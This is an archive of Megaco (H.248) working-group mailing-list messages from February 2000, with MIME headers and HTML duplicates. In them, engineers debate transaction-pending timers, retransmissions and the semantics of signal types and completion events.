Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.36211720@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:19:21
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id PAA27004; Fri, 4 Feb
          2000 15:21:26 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id PAA23828; Fri, 4 Feb
          2000 15:21:30 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTS0R>; Fri, 4 Feb 2000 15:18:14 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F4C.F6A3A782"
Message-ID:  <4FBEA8857476D311A03300204840E1CF20889A@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 15:21:27 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Transaction ID uniqueness
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F4C.F6A3A782
Content-Type: text/plain;
        charset="iso-8859-1"

Okay, I'll try

When you get a request, if it takes longer than "expected" time, you send
pends at a rate
around "expected" time.  If you get a pend, you increase your timer a bit so
that you
don't time out before the responder's pend timer times out.

If no messages are lost, the requestor gets a series of pends at about
"expected" time
intervals.  If one or more pends are lost, the requestors timer will expire
and it will send a
duplicate request.

In this case, the request will come some time after the pend which was lost
was
originally sent.  The requester doesn't expect a response for (at least)
"expected"
time, but the pend timer already running will expire before then.

So, in response to a duplicate, you could send a pend, but you will send one
sooner than the requestor's timer will expire even if you don't.  If that
gets lost too,
another duplicate will be sent, but I think that is okay.

So yes, the responder "bombards" the requestor with pends, at about
"expected"
rate.  There is a way to increase the timer, so you can slow down the rate
if you want to.  If you do, you would be expected to increase your timeout
time accordingly.  Frankly, I think the default is just about right, as
there is no
reason to expect delays longer than a few times the normal time.

How is that?

Brian

-----Original Message-----
From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
Sent: Friday, February 04, 2000 3:05 PM
To: Rosen, Brian
Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Cisco SG16: Transaction ID uniqueness


Brian

Questions/comments below


-- Flemming



"Rosen, Brian" wrote:




MGC                MG
Request ->

        x-     Pending (now switches to a longer timer)


[br]Who has the longer timer?  The requestor, yes, the responder, no


Are you saying that the MG will keep bombarding the MGC with pending
messages until it can send a final one ? That seems rather wasteful in terms
of both bandwidth and processing.






(lost, so MGC sticks w. normal timer)

(timeout)
Request ->     (ignore since transaction is currently executing)
(timeout))
Request ->     (ignore since transaction is currently executing)
(timeout)
Request ->     (ignore since transaction is currently executing)
...
       <- Final
(finally)


[br]I think that you get a pend within the normal response.  If you lose the
pend, you generate one extra request duplicate, but the longer timer isn't
going to be twice normal time; you simply want to avoid the case of the pend
timer and the normal response timer being the same value and causing extra
messages when the requests/responses pass each other on the net.  If ALL the
pends are lost, you would see the above, but you would only get one extra if
only the first were lost.


I'm not sure I follow any longer. Can you explain the mechanism again,
perhaps with an example ?






Brian

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------



------_=_NextPart_001_01BF6F4C.F6A3A782
Content-Type: text/html;
        charset="iso-8859-1"









Okay,
I'll try


 


When
you get a request, if it takes longer than "expected" time, you send pends at a
rate


around
"expected" time.  If you get a pend, you increase your timer a bit so that
you


don't
time out before the responder's pend timer times out.


 


If no
messages are lost, the requestor gets a series of pends at about "expected"
time


intervals.  If one or more pends are lost, the
requestors timer will expire and it will send a 


duplicate request.


 


In
this case, the request will come some time after the pend which was lost
was


originally sent.  The requester doesn't expect a
response for (at least) "expected"


time,
but the pend timer already running will expire before then.


 


So, in
response to a duplicate, you could send a pend, but you will send
one


sooner
than the requestor's timer will expire even if you don't.  If that gets
lost too,


another duplicate will be sent, but I think that is
okay.


 


So
yes, the responder "bombards" the requestor with pends, at about
"expected"


rate.  There is a way to increase the timer, so
you can slow down the rate


if you
want to.  If you do, you would be expected to increase your
timeout


time
accordingly.  Frankly, I think the default is just about
right, as there is no


reason
to expect delays longer than a few times the normal time.


 


How is
that?


 


Brian



  
-----Original Message-----
From: Flemming Andreasen
  [mailto:fandreasen@worldnet.att.net]
Sent: Friday, February 04, 2000
  3:05 PM
To: Rosen, Brian
Cc:
  MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Cisco SG16:
  Transaction ID uniqueness

Brian
  
Questions/comments below
  
-- Flemming 
 
  
"Rosen, Brian" wrote:
  
 
    
MGC               
      MG 
Request ->
      
       
      x-     Pending (now switches to a longer
      timer)
      
[br]Who has the longer timer?  The
      requestor, yes, the responder,
    no

  

Are you saying that the MG will keep bombarding the MGC with pending
  messages until it can send a final one ? That seems rather wasteful in terms
  of both bandwidth and processing. 
 
  

    
 

  

    

      
(lost, so MGC sticks w. normal
      timer)
      
(timeout) 
Request ->     (ignore
      since transaction is currently executing) 
(timeout)) 
Request ->     (ignore
      since transaction is currently executing) 
(timeout) 
Request ->     (ignore
      since transaction is currently executing) 
... 
       <-
      Final 
(finally)
      
[br]I think that you get a pend within the
      normal response.  If you lose the pend, you generate one extra request duplicate, but the longer timer isn't going to be
      twice normal time; you simply want to avoid the case of the pend timer and
      the normal response timer being the same value and causing extra messages
      when the requests/responses pass each other on the net.  If ALL the
      pends are lost, you would see the above, but you would only get one extra
      if only the first were
    lost. 

  

I'm not sure I follow any longer. Can you explain the mechanism again,
  perhaps with an example ?
  

    
 
      
 
        
Brian
--
  
--------------------------------------- 
Flemming Andreasen 
Cisco
  Systems 
--------------------------------------- 
 



------_=_NextPart_001_01BF6F4C.F6A3A782--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 15:41:59 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09780
	for ; Fri, 4 Feb 2000 15:41:57 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.EBF94C00@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:38:45 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25356 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 15:37:08 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.B250DC20@standards.nortelnetworks.com>; Fri, 4 Feb 2000
          15:37:08 -0500
Received: from zmers013 by smtprch1.nortel.com; Fri, 4 Feb 2000 14:38:59 -0600
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Fri, 4
          Feb 2000 15:38:37 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1D5VCP7F>; Fri, 4 Feb 2000 15:38:37 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F4F.CE991D46"
Message-ID:  
Date:         Fri, 4 Feb 2000 15:38:30 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Cisco SG16: Transaction ID uniqueness
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F4F.CE991D46
Content-Type: text/plain

We've just gone through a pile of this with SIGTRAN.  Even if we aren't
using their transport (yet), it would be nice if we could build on their
congestion avoidance algorithms.  Otherwise we'll be tinkering for months.

> -----Original Message-----
> From: Rosen, Brian [SMTP:brosen@FORE.COM]
> Sent: Friday, February 04, 2000 3:21 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: Cisco SG16: Transaction ID uniqueness
>
> Okay, I'll try
>
> When you get a request, if it takes longer than "expected" time, you send
> pends at a rate
> around "expected" time.  If you get a pend, you increase your timer a bit
> so that you
> don't time out before the responder's pend timer times out.
>
> If no messages are lost, the requestor gets a series of pends at about
> "expected" time
> intervals.  If one or more pends are lost, the requestors timer will
> expire and it will send a
> duplicate request.
>
> In this case, the request will come some time after the pend which was
> lost was
> originally sent.  The requester doesn't expect a response for (at least)
> "expected"
> time, but the pend timer already running will expire before then.
>
> So, in response to a duplicate, you could send a pend, but you will send
> one
> sooner than the requestor's timer will expire even if you don't.  If that
> gets lost too,
> another duplicate will be sent, but I think that is okay.
>
> So yes, the responder "bombards" the requestor with pends, at about
> "expected"
> rate.  There is a way to increase the timer, so you can slow down the rate
> if you want to.  If you do, you would be expected to increase your timeout
> time accordingly.  Frankly, I think the default is just about right, as
> there is no
> reason to expect delays longer than a few times the normal time.
>
> How is that?
>
> Brian
>
>       -----Original Message-----
>       From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
>       Sent: Friday, February 04, 2000 3:05 PM
>       To: Rosen, Brian
>       Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
>       Subject: Re: Cisco SG16: Transaction ID uniqueness
>
>
>       Brian
>
>       Questions/comments below
>
>       -- Flemming
>
>
>       "Rosen, Brian" wrote:
>
>
>
>                       MGC                MG
>                       Request ->
>
>                               x-     Pending (now switches to a longer
> timer)
>
>                       [br]Who has the longer timer?  The requestor, yes,
> the responder, no
>
>
>       Are you saying that the MG will keep bombarding the MGC with pending
> messages until it can send a final one ? That seems rather wasteful in
> terms of both bandwidth and processing.
>
>
>
>
>
>                       (lost, so MGC sticks w. normal timer)
>
>                       (timeout)
>                       Request ->     (ignore since transaction is
> currently executing)
>                       (timeout))
>                       Request ->     (ignore since transaction is
> currently executing)
>                       (timeout)
>                       Request ->     (ignore since transaction is
> currently executing)
>                       ...
>                              <- Final
>                       (finally)
>
>                       [br]I think that you get a pend within the normal
> response.  If you lose the pend, you generate one extra request duplicate,
> but the longer timer isn't going to be twice normal time; you simply want
> to avoid the case of the pend timer and the normal response timer being
> the same value and causing extra messages when the requests/responses pass
> each other on the net.  If ALL the pends are lost, you would see the
> above, but you would only get one extra if only the first were lost.
>
>
>       I'm not sure I follow any longer. Can you explain the mechanism
> again, perhaps with an example ?
>
>
>
>
>
>                       Brian
>
>       --
>       ---------------------------------------
>       Flemming Andreasen
>       Cisco Systems
>       ---------------------------------------
>
>

------_=_NextPart_001_01BF6F4F.CE991D46
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: Cisco SG16: Transaction ID uniqueness




We've just gone =
through a pile of this with SIGTRAN.  Even if we aren't using =
their transport (yet), it would be nice if we could build on their =
congestion avoidance algorithms.  Otherwise we'll be tinkering for =
months.


    

    -----Original Message-----

    From:   Rosen, Brian [SMTP:brosen@FORE.COM]

    Sent:   Friday, February 04, 2000 3:21 PM

    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 Re: Cisco SG16: Transaction ID =
uniqueness

    


    Okay, I'll =
try

    =A0

    When you get a =
request, if it takes longer than "expected" time, you send =
pends at a rate

    around =
"expected" time.=A0 If you get a pend, you increase your =
timer a bit so that you

    don't time out =
before the responder's pend timer times out.

    =A0

    If no messages are =
lost, the requestor gets a series of pends at about =
"expected" time

    intervals.=A0 If =
one or more pends are lost, the requestors timer will expire and it =
will send a=20

    duplicate =
request.

    =A0

    In this case, the =
request will come some time after the pend which was lost was

    originally sent.=A0 =
The requester doesn't expect a response for (at least) =
"expected"

    time, but the pend =
timer already running will expire before then.

    =A0

    So, in response to =
a duplicate, you could send a pend, but you will send one

    sooner than the =
requestor's timer will expire even if you don't.=A0 If that gets lost =
too,

    another duplicate =
will be sent, but I think that is okay.

    =A0

    So yes, the =
responder "bombards" the requestor with pends, at about =
"expected"

    rate.=A0 There is a =
way to increase the timer, so you can slow down the rate

    if you want to.=A0 =
If you do, you would be expected to increase your timeout

    time =
accordingly.=A0 Frankly, I think the default is just about right, as =
there is no

    reason to expect =
delays longer than a few times the normal time.

    =A0

    How is that?

    =A0

    Brian

    

      

      -----Original Message-----
      
      From: Flemming Andreasen [mailto:fandreasen@worldnet.a=
tt.net]
      
      Sent: Friday, February 04, 2000 3:05 PM
      
      To: Rosen, Brian
      
      Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
      
      Subject: Re: Cisco SG16: Transaction ID uniqueness
      

      
      

      Brian 

      


      Questions/comments below 

      


      -- Flemming
      
=A0       

      


      "Rosen, Brian" wrote: 

      

        

        =A0 

        

          

          MGC=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 MG
          
          Request -> 

          


          =A0=A0=A0=A0=A0=A0=A0 x-=A0=A0=A0=A0 =
Pending (now switches to a longer timer) =


          


          [br]Who has the =
longer timer?=A0 The requestor, yes, the responder, no

          

          

      

      Are you saying that the MG will keep bombarding =
the MGC with pending messages until it can send a final one ? That =
seems rather wasteful in terms of both bandwidth and processing.
      
=A0       

      

          

          =A0

          

          


          (lost, so MGC sticks w. normal =
timer) 

          


          (timeout)
          
          Request ->=A0=A0=A0=A0 (ignore =
since transaction is currently executing)
          
          (timeout))
          
          Request ->=A0=A0=A0=A0 (ignore =
since transaction is currently executing)
          
          (timeout)
          
          Request ->=A0=A0=A0=A0 (ignore =
since transaction is currently executing)
          
          ...
          
          =A0=A0=A0=A0=A0=A0 <- =
Final
          
          (finally) =


          


          [br]I think that you =
get a pend within the normal response.=A0 If you lose the pend, you =
generate one extra request duplicate, but the longer timer isn't going =
to be twice normal time; you simply want to avoid the case of the pend =
timer and the normal response timer being the same value and causing =
extra messages when the requests/responses pass each other on the =
net.=A0 If ALL the pends are lost, you would see the above, but you =
would only get one extra if only the first were lost.=A0
          

          

      

      I'm not sure I follow any longer. Can you =
explain the mechanism again, perhaps with an example ? 

      

          

          =A0 

          

            

            =A0 

            


            Brian

            

      

      --
      
---------------------------------------
      
Flemming Andreasen
      
Cisco Systems
      
---------------------------------------
      
=A0       

      




------_=_NextPart_001_01BF6F4F.CE991D46--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 15:42:02 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09789
	for ; Fri, 4 Feb 2000 15:42:00 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.ECA4F550@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:38:46 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25316 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 15:38:02 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.6C2A98E0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:28:01
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id PAA27949; Fri, 4 Feb
          2000 15:30:05 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id PAA26057; Fri, 4 Feb
          2000 15:30:09 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTTFX>; Fri, 4 Feb 2000 15:26:53 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F4E.2C254CFC"
Message-ID:  <4FBEA8857476D311A03300204840E1CF20889B@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 15:30:06 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F4E.2C254CFC
Content-Type: text/plain;
        charset="iso-8859-1"

Nice summary.

1. Duration of BR is defined in the package (which could state
"provisioned").  All signals have default signal type and duration
parameters, so that is the mechanism I would propose to use to override it.
If people object to replacement SIgnals terminating BR signals, we are back
to the old queuing problem, so PLEASE don't ask for it.

2. Agreed on TO

3. Signal lists with on/off are defined to be of type on/off.  So the
question is, how do you turn off the signal list?  If the list can have On
or Off keywords, then it is "consistent", but what happens when you say that
the OO signal in the list is OFF when the list itself is On?

4. I'd advocate leaving KeepActive default to false always

5. Signal failures should be treated like any asynchronous failure, and
reported with the general failure event.

Brian

-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
Sent: Friday, February 04, 2000 3:05 PM
To: MEGACO@standards.nortelnetworks.com
Subject: Re: Cisco SG16: Signals Operation



Digging through the accumulated mass of indented text and comments, I think
I see two parties agreeing on the following points.  Unfortunately
experience tells me that as soon as we introduce a third party the
agreements will vanish, but I'll record them here just in case a miracle
happens.

1) BR signals have the following characteristics: duration is assumed to be
known to the MG without explicit MGC input.  Brian wants the ability to
override duration, and I have no quarrel with that -- the only question is
the exact mechanism.  The second characteristic is that a BR signal is not
terminated by the detection of an event.  (But BR signals are still
terminated by replacement of the Signals descriptor??  Any objections here?)

2) TO signals seem to be fairly well understood.

3) OO signals have the following characteristics: they remain on until
interrupted by detection of an event, or receipt of a Signals descriptor
with explicit Off syntax.  Brian's keyword syntax is probably acceptable.
Brian has a query about signal lists.  Is there something about this
proposal that doesn't work given our current signal list text?

4) Brian's proposals for completion events probably work for Chip and they
work for me.  To summarize: the current notifyCompletion parameter remains
but its significance changes: it is a selector (Boolean, default FALSE) and
does not actually arm reporting.  There is a signal completion event which
reports on the completion of any signal so flagged, with the identity of the
signal as a reporting parameter.  QUESTION: should KeepActive default to
TRUE for this event?  In any case, the signal completion event is invoked in
the usual way, through an events descriptor.

Open issue: signal failures.  The need for reports of such failures is real
-- they do happen from time to time.  They happen autonomously, which means
we either have to have an error method (ServiceChange ?) or an event to
report them.  The key issue is whether you would need to know about ANY
failure or only those of selected signals.


        -----Original Message-----
From:   Rosen, Brian [SMTP:brosen@FORE.COM]
Sent:   Friday, February 04, 2000 2:17 PM
To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject:        Re: Cisco SG16: Signals Operation

        Comments below

        > -----Original Message-----
> From: Chip Sharp [ mailto:chsharp@cisco.com  ]
> Sent: Friday, February 04, 2000 12:05 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Re: Cisco SG16: Signals Operation
>
>
> At 08:17 PM 2/2/00 -0500, Tom-PT Taylor wrote:
> >
> >
> >I have every sympathy with your first point -- I couldn't resist the
> >temptation to propose a new definition of BR.  The fact is,
> the way things
> >currently stand, we could abolish the signal type parameter
> and it would
> >make no difference to the operation of the protocol.  I
> suppose we would
> >have to define an "infinite" duration to simulate on/off as
> currently
> >defined, but even that might not be necessary.
> >
> >Speaking as chair, I suppose I have to say that the null
> hypothesis is
> >that we stick with our current text.  We have two other alternatives:
> >
> >(a) New distinctive definitions for BR, TO, OO, with the
> understanding
> >that the definition of a given signal indicates its default
> type, but that
> >type can always be overridden by the type parameter.
> >
> >  - BR duration is assumed to be known to the MG without
> explicit MGC
> > input.  BR signals can be stopped by detection of events
> without the
> > KeepActive parameter or by replacement of the current
> signal descriptor
> > with one not containing the indicated signal.
> I would suggest they cannot be interrupted by events. If not, there's
> little reason for having them as well as TO signals.
It's okay with me

        > >
> >
> >  - TO duration is given explicitly by the duration
> parameter.  A default
> > may be provisioned or defined in the package.  TO signals
> can be stopped
> > by detection of events without the KeepActive parameter or
> by replacement
> > of the current signal descriptor with one not containing
> the indicated signal.
> >
> >  - OO signals remain active until a signal descriptor with explicit
> > turn-off syntax comes into effect (Chip's proposal).
> Sounds good.
What is the syntax?  Would a parameter do, or do we have to actually have a
keyword?  Is there a default?  I propose that we
have keywords. Signals{VMButton{ON}}
this makes:
sigParameter       = sigStream / sigSignalType / sigDuration /
                sigOnOFF / sigOther / NotifyCompletion
(last element is in debate at the moment)
sigOnOff           = OnToken / OffToken

        What happens with signal lists?

        > >
> >
> >(b) Abolish signal type.
> >
> >If I see a sudden rush to agreement on something other than
> the existing
> >text I'll feed it into Geneva.  Otherwise things stay put
> and we can try
> >again for H.248v2 -- the protocol works as is.
> I doubt it. This is such a fundamental property of the
> protocol that it is
> highly unlikely you would be able it in v2, not least considering the
> backwards compatibility restricion on package extensions. I
> would suggest
> doing it right the first time around.
>
> Issue update and additions follow below.
> >
> >
> >Comments to the other points follow them.
> >-----Original Message-----  From:  Chip Sharp
> >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:59
> >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
>  Cisco SG16:
> >Signals Operation
>
> Section:         7.1.1, second paragraph, last paragraph
> Category:     Technical
> Issue no.:     14.2
> Issue:          The draft text specifies that "Finally, there is an
> optional "notifyCompletion" that allows a MGC to request
> being notified of
> completion of the signal. The value of thi sparameter is a
> RequestIdentifier, allowing the MGC to correlate the Notify with the
> corresponding signal" and furthermore that "If the MGC requested
> notification of completion for a signal, a Notify command
> SHALL be sent by
> the MG upon completion of that signal. A Notify triggered by
> completion of
> a signal SHALL NOT affect the state of the eventbuffer or any
> active events
> descriptor". There is already a mechanism in the protocol
> that supports
> this functionality, namely events. By using the event
> mechanism instead,
> the duplication of functionality is avoided, and event
> ordering between
> "events" and completed signals become trivial - currently they are an
> unsolved issue. Furthermore, it is unclear how this behavior
> interacts with
> the EventBuffer mechanism. For example, if an event has been
> notified,
> "EventBuffer" is on, and the signal now completes, it seems
> inconsistent to
> issue another Notify specific to the signal.
> Proposal:     It is strongly suggested, that
> "notifyCompletion" is replaced
> by having the completion of the signal generating an event
> (e.g. "signal
> complete") instead (notification of which may or may not have been
> requested). Furthermore, to account for signal failure, there
> should be a
> "signal failure" event as well.
> Status:
I have argued this precise point, and believe that there should only
be ONE way to get an event armed and triggered.  I agree that it
should be an event.  I specifically proposed that a signal complete
event be defined that has a parameter which is the list of signals
that it applies to, but it occurs to me that a compromise is to
leave the parameter in Signals Descriptor as being a "this is one
of the signals that the signal complete event applies to", and then
the signals complete event has no input parameter, but has an output
parameter that specifies which signal completed.

        > >    Section:        7.1.10, fourth paragraph, first
> > bullet.  Category:       Technical, Open Issue  Issue:
>     The draft
> > text defines on/off signals "the signal lasts until it is
> turned off",
> > however this definition is not clear. Specifically, it is
> not  clear if
> > an on/off signal is turned off by not being included in a
> subsequent
> > SignalsDescriptor or if it is turned off by some explicit
> action. In the
> > latter case, syntax is missing leading one to believe that
> the former
> > definition is intended. The former definition on the other hand  is
> > somewhat problematic and overlaps the definition of time-out
> > signals  with an indefinite duration. Consider for instance
> a "visual
> > message  waiting indicator" defined as an on/off signal. Unless the
> > signal is  included in all subsequent SignalsDescritpors,
> the indicator
> > will be turned  off. The on/off signal type would be more
> useful (and not
> > a duplicate of  timeout) if this was not the case.  Also,
> it should be
> > noted, that the more general topic of signal types and  the
> details of
> > their operation has been the subject of much debate on the
> IETF Megaco
> > mailing list since the white contribution was developed,
> and  that at
> > time of writing, no resolution had been found.
> >
> >Proposal:       It is recommended that the definition of on/off is
> >clarified in  accordance with the above and the missing syntax added.
> >
> >
> >v13 Status:     OPEN. No substantial change has been made.
>
> v14: OPEN. No relevant text changed.
> >
> >
> >Section:        7.1.10, fourth paragraph, second
> >bullet  Category:       Technical  Issue:          The draft
> text defines
> >timeout signals as "the signal lasts until  it is turned off
> or a specific
> >period of time elapses", however there is no  mechanism
> specified for
> >informing the MGC when that specific period of time  has
> elapsed and thus
> >the signal has ended. The MGC may therefore be unable  to
> determine if a
> >given signal is playing in an MG or not. An example where
> this is needed
> >is outpulsing with MF Feature Group D trunks where multiple
> digit strings
> >(address and caller id) need to be outpulsed. MGC needs to
> know when
> >outpulsing of the first string of digits has occurred before
>  requesting
> >out-pulsing of the next string.). Another example is a
> signal  activated
> >through an external event such as user input (by use of an  embedded
> >signals descriptor).
> >
> >Proposal:       It is strongly recommended that a mechanism
> for notifying
> >the MGC  upon timeout signal completion is added, e.g. in
> the form of an
> >event  ("operation complete"). Furthermore, it should be
> considered to add
> >another  event that would allow the MGC to be informed if
> generation of
> >the signal  fails for some reason (e.g. "operation
> failure"). It should be
> >noted, that  this may happen in the middle of the signals
> defined duration.
> >
> >v13 Status:     OPEN. No substantial change has been made.
> >
> >[[TomT]]  v14 adds the notifyCompletion parameter for every
> signal and
> >text on how completions are notified in section 7.2.7.  For
> failures we
> >have that generic failure event in E.1, but no text on how
> to apply it or
> >what request ID to use for it.
>
> v14:    DISAGREE (see issue 14.2). A mechanism has been added.
I'd say that the mechanism proposed, or the V14 mechanism does
address the completion part.  The error part is V2; should it be
an event, or just an error?  How should the error be reported?


        >
> Section:         7.1.17
> Category:     Technical
> Issue no.:     14.3
> Issue:          The draft text specifies that "If a Notify is
> sent as a
> result of a signal completion, the ObservedEventsDescriptor
> contains the
> name of the signal that completed and the time at which it
> completed". Cf.
> issue 14.2, this behavior is undesirable and should be
> replaced with an
> event instead thereby eliminating the need for specifying
> this special case.
> Proposal: Assuming the proposed resolution to issue 14.2 is
> accepted, it is
> proposed that the above sentence is deleted.
> Status:
Since I agree that the mechanism should be an event, I agree
with this

        > Section:         7.2.8 (Notify), last three paragraphs
> Category:     Technical
> Issue no.:      14.5
> Issue:          The draft text specifies that "..., or as a result of
> completion of a signal for which the MGC requested notification of
> completion", and "...or the triggering SignalsDescriptor", as
> finally "A
> Notify triggered by completion of a signal, contains the
> corresponding
> signal name in the ObservedEventsDescriptor". However, as
> argued in issue
> 14.2, this behavior is a special case that is inconsistent
> with the general
> event handling mechanism, incl. Notifications. If signal
> completion was not
> designed as a special case (which there is no reason to),
> this special case
> handling would not be necessary.
> Proposal: Assuming the proposed solution to issue 14.2 is
> accepted, it is
> proposed to remove all of the above text segments.
> Status:
Ditto

        > >
> >
> >Section:                12.1.4  Category:       Technical, Open
> >Issue  Issue:          The draft text mentions SignalType CN
> (Continue),
> >however this  SignalType is not defined in Section 7.1.10 on Signals
> >Descriptor.  Also, it should be noted, that the more general
> topic of
> >signal types and  the details of their operation has been
> the subject of
> >much debate on the  IETF Megaco mailing list since the white
> contribution
> >was developed, and  that at time of writing, no resolution had been
> >found.  Proposal:       It is proposed that SignalType CN is
> removed from
> >the text.
> >
> >v13 Status:     OPEN. No text changed.
> >
> >[[TomT]]  Done.
> v14. CLOSED. SignalType CN has been removed.
> >    Section:        12.1.4  Category:       Technical, Open
> > Issue  Issue:          The draft text specifies that
> "Signals that would
> > be played with  SignalType BR should have a default
> duration"  Again, it
> > should be noted, that the more general topic of signal
> types and  the
> > details of their operation has been the subject of much debate on
> > the  IETF Megaco mailing list since the white contribution
> was developed,
> > and  that at time of writing, no resolution had been
> > found.  Proposal:       It is proposed that similar text is
> added as for
> > signals of  SignalType TO.
> >
> >v13 Status:     OPEN. No text changed.  [[TomT]]  See
> initial comments to
> >this message.
> v14: OPEN. No text changed.
> Support NetAid!  http://www.netaid.org 
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------
>


------_=_NextPart_001_01BF6F4E.2C254CFC
Content-Type: text/html;
        charset="iso-8859-1"




RE: Cisco SG16: Signals Operation




Nice
summary.


 


1.
Duration of BR is defined in the package (which could state
"provisioned").  All signals have default signal type and duration
parameters, so that is the mechanism I would propose to use to override
it.  If people object to replacement SIgnals terminating BR signals, we are
back to the old queuing problem, so PLEASE don't ask for it.


 


2.
Agreed on TO


 


3.
Signal lists with on/off are defined to be of type on/off.  So the question
is, how do you turn off the signal list?  If the list can have On or Off
keywords, then it is "consistent", but what happens when you say that the OO
signal in the list is OFF when the list itself is On?


 


4. I'd
advocate leaving KeepActive default to false always


 


5.
Signal failures should be treated like any asynchronous failure, and reported
with the general failure event.


 


Brian



  
-----Original Message-----
From: Tom-PT Taylor
  [mailto:taylor@nortelnetworks.com]
Sent: Friday, February 04, 2000
  3:05 PM
To: MEGACO@standards.nortelnetworks.com
Subject:
  Re: Cisco SG16: Signals Operation


  
Digging through the accumulated mass
  of indented text and comments, I think I see two parties agreeing on the
  following points.  Unfortunately experience tells me that as soon as we
  introduce a third party the agreements will vanish, but I'll record them here
  just in case a miracle happens.

  
1) BR signals have the following
  characteristics: duration is assumed to be known to the MG without explicit
  MGC input.  Brian wants the ability to override duration, and I have no
  quarrel with that -- the only question is the exact mechanism.  The
  second characteristic is that a BR signal is not terminated by the detection
  of an event.  (But BR signals are still terminated by replacement of the
  Signals descriptor??  Any objections here?)

  
2) TO signals seem to be fairly well
  understood. 

  
3) OO signals have the following
  characteristics: they remain on until interrupted by detection of an event, or
  receipt of a Signals descriptor with explicit Off syntax.  Brian's
  keyword syntax is probably acceptable.  Brian has a query about signal
